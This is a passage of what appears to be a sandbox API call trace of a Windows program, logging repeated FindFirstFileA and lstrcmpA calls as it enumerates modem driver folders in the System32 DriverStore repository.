ftLastWriteTime.dwLowDateTime=0x671442f2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.504] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.513] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmaiwa.inf_amd64_neutral_560c956da9bcd8f5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x494beb64, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6716a452, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6716a452, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.514] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.514] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmaiwa3.inf_amd64_neutral_77e515342bd572cc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x495c9506, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6716a452, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6716a452, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.515] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.515] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmaiwa4.inf_amd64_neutral_6e97842bb8d9e6a8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496add48, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x671905b2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x671905b2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.516] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.517] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmaiwa5.inf_amd64_neutral_ea8128ac5da37eb9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4976c429, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x671dc873, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x671dc873, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.517] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.518] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmaiwat.inf_amd64_neutral_213e93b5ced8b0fe\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498049aa, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x672029d3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x672029d3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.519] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.520] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmar1.inf_amd64_neutral_b8ebf59556c3dbf0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4989cf2b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67228b33, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67228b33, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.521] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.522] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmarch.inf_amd64_neutral_4261401e3170ebfb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4995b60d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67274df4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67274df4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.522] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.523] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmarn.inf_amd64_neutral_fa693d8797766f49\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49a19cee, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6729af54, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6729af54, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.524] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.524] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmati.inf_amd64_neutral_ded8f26cdee953c3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad83cf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x672e7215, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x672e7215, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.525] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.526] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmatm2k.inf_amd64_neutral_64a8fb018ead55a7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bbcc11, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x675226b9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x675226b9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.526] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.527] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmaus.inf_amd64_neutral_5fa4270b9924b918\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49c55192, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6756e979, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6756e979, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.528] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.528] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmboca.inf_amd64_neutral_cc532ed7b3b5b5a9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49d399d4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x677a9e1e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x677a9e1e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.529] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.529] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbr002.inf_amd64_neutral_ce2134188ab21f59\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48c1db94, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66db21eb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66db21eb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.530] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.531] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbr004.inf_amd64_neutral_ccf1bc353e588fe1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48cdc276, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66dd834b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66dd834b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.532] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.534] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbr005.inf_amd64_neutral_d140721f97061bba\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48d9a957, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66dfe4ac, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66dfe4ac, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.535] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.536] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbr006.inf_amd64_neutral_40c76453575b1208\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48e59038, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66dfe4ac, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66dfe4ac, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.536] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.537] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbr007.inf_amd64_neutral_91d259640bad7d26\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48f3d87a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66e2460c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66e2460c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.538] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.539] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbr008.inf_amd64_neutral_2cedaac353c381da\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48ffbf5b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66e4a76c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66e4a76c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.540] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.541] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbr00a.inf_amd64_neutral_aa4f0850ff03674e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x490ba63d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66e708cd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66e708cd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.541] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.542] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbsb.inf_amd64_neutral_56a9f6bceeec7f72\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49e1e215, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x679e52c2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x679e52c2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.543] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.543] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbtmdm.inf_amd64_neutral_2e4da8629fc5904e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39c712bb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f6f97d0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f6f97d0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.544] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.545] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbug3.inf_amd64_neutral_7617862a9cc286da\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49eb6796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67a0b422, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67a0b422, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.546] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.553] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmbw561.inf_amd64_neutral_fe42c0ff14d5562b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49f74e78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67a0b422, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67a0b422, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.554] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.554] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmc26a.inf_amd64_neutral_547edd894d7c19d9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a00d3f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67a31582, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67a31582, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.555] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.555] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcdp.inf_amd64_neutral_170c11f3a6d3f0a8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0cbada, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67a31582, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67a31582, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.556] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.557] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcm28.inf_amd64_neutral_d3fa0f62d3d7cea1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a1d647c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67a7d843, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67a7d843, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.558] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.558] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcodex.inf_amd64_neutral_9bb71004e7b8f7ae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a2bacbe, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67ac9b03, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67ac9b03, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.559] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.559] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcom1.inf_amd64_neutral_96c22c683482d8bd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a39f500, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67aefc64, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67aefc64, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.560] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.561] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcommu.inf_amd64_neutral_83cc415156be45c8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a45dbe1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67b3bf24, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67b3bf24, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.561] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.562] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcomp.inf_amd64_neutral_e5ca2f01ca47bddb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a4f6162, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67b62084, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67b62084, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.564] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.564] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcpq.inf_amd64_neutral_fbc4a14a6a13d0c8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3aa06f9e, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c3e9f0e, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c3e9f0e, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.565] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.594] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcpq2.inf_amd64_neutral_e9784021af1f5e24\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a5b4843, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67b881e5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67b881e5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.595] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.597] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcpv.inf_amd64_neutral_5667cca434e3a6b7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a64cdc4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67bae345, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67bae345, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.598] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.599] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcrtix.inf_amd64_neutral_e91a5dc0655e200a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6e5346, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67bd44a5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67bd44a5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.599] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.600] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcxhv6.inf_amd64_neutral_81ba64c5b6150dd3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b0515e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c363a89, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c363a89, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.604] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.607] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmcxpv6.inf_amd64_neutral_f62ac4bd04e653d0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c81f21, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c3d5eaa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c3d5eaa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.611] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.614] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmdcm5.inf_amd64_neutral_0bb09f3e5a59f3a8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7c9b87, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67c20766, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67c20766, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.615] lstrcmpA (lpString1=".", lpString2=".") returned 0 